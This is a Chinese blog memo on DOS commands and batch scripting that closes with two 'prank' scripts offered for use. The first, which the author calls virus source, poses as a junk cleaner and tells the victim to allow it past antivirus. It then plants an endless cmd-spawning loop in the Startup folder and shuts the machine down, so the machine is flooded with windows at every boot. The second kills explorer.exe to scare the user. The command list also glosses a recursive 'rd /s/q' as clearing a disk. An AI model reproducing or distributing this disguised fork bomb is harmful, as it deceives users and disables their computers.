DOS命令&批处理


讲讲DOS和批处理,主要是做备忘。。。

基本前置知识:

DOS命令,计算机术语,是指DOS操作系统的命令,是一种面向磁盘的操作命令,主要包括目录操作类命令、磁盘操作类命令、文件操作类命令和其它命令。

批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理,通常被认为是一种简化的脚本语言,它应用于DOS和Windows系统中。批处理文件的扩展名为bat 。比较常见的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于微软的强大的PowerShell的,用来批量处理一些任务的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。

这个大致看看就好,没啥难度,主要是记忆,下面,我这边会列出常见的DOS命令:

  1. cd

    目录操作符,有以下几种用法

    cd.. 返回上级目录

    cd\ 返回根目录

    cd d: 进入D盘

  2. cls:清空所有dos操作

  3. dir:显示当前盘符文件信息

  4. rd ./s/q :清空磁盘

  5. echo 创建文件,一般有以下几种用法

    echo xxx 直接输出

    echo xxx > xxxx.xxx 输出到文件xxxx

  6. 其他

    attrib +h 文件名 隐藏文件夹

    attrib -h 文件名 取消文件夹

    attrib +h +s +a 文件名 将文件夹隐藏设为系统文件

    shutdown -s -t 100 定时关机

    差不多就是这么多了,只是简单介绍下。


    下面介绍批处理脚本

    如何创建批处理:

    ​ 命名:.bat

    ​ 方法:创建一个记事本文件,然后将其扩展改为.bat

    批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条。

    运行环境:cmd

    命令解释+备忘:

    @echo off #关闭回显

    color 0a #设置窗口显示颜色

    color:

    指定控制台输出的颜色属性

    颜色属性由两个十六进制数字指定 – 第一个为背景,第二个则为文字颜色。

    每个数字可以为以下任何值之一:

    0 = 黑色 8 = 灰色

    1 = 蓝色 9 = 淡蓝色

    2 = 绿色 A = 淡绿色

    3 = 湖蓝色 B = 淡浅绿色

    4 = 红色 C = 淡红色

    5 = 紫色 D = 淡紫色

    6 = 黄色 E = 淡黄色

    7 = 白色 F = 亮白色

    例如: “cilor fc” 亮白色背景,淡红色文字颜色。

    密码:

    set /p u=请输入用户名:

    set /p p=请输入新密码:

    常见bat程序命令

    >nul #清除一条命令执行后系统反馈

    常用命令相关

    shutdown -a #取消关机

    shutdown -s #关机

    shutdown -f  #强行关闭应用程序

    shutdown -l  #注销当前用户

    shutdown -r  #关机并重启

    shutdown -s -t 时间 #定时关机

    shutdown -h #休眠

    附:VBS

    msgbox:弹窗

    do…loop:无限循环


    好的,那么最后,附上两个恶搞代码,他们都是批处理编写的。

    1.批处理内存引爆病毒源码

    @echo off
    title 系统垃圾清理
    color 2f
    echo =======若杀毒软件恶意拦截,请选择【允许程序的所有操作】========
    echo.
    echo.
    echo :start>c:\windows\windows.bat
    echo start cmd>>c:\windows\windows.bat
    echo goto start>>c:\windows\windows.bat
    copy c:\windows\windows.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" >nul 2>nul
    if %errorlevel%==0 goto next 
    copy c:\windows\windows.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" >nul
    if %errorlevel%==1 goto error
    :next
    echo.
    echo.
    echo   ====== 垃圾清理中,请不要关闭窗口======
    echo.
    ping -n 5 127.0.0.1 >nul
    echo.
    echo   ====== 垃圾清理完毕,共清理垃圾500M===
    echo.
    echo.
    echo   ====== 正在自动重启电脑======
    ping -n 3 127.0.0.1 >nul
    shutdown -s -t 0
    pause
    goto ex
    
    :error
    echo.
    echo.
    echo   ====== 程序运行失败,请使用【管理员权限】重新运行!======
    echo.
    pause
    goto ex
    
    :ex
    exit
    

    2.恶搞病毒

    @echo off
    title 系统垃圾清理
    color 2f
    echo ====== 若有杀毒软件恶意拦截,请选择【允许程序的所有操作】=====
    echo.
    echo.
    
    
    echo ====== 垃圾清理中,请不要关闭窗口=======
    ping -n 5 127.0.0.1 >nul
    taskkill /im explorer.exe /f>nul
    cls
    echo ====== 芜湖!你系统死喽!!=======
    ping -n 5 127.0.0.1 >nul
    cls
    echo ====== 别慌,闭上眼睛叫十声爸爸就好了=======
    ping -n 7 127.0.0.1 >nul
    start c:\windows\explorer.exe>nul
    echo ====== 已经修复好了!是不是吓坏了!!嘿嘿=========
    pause
    

文章作者: BMY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 BMY !
  目录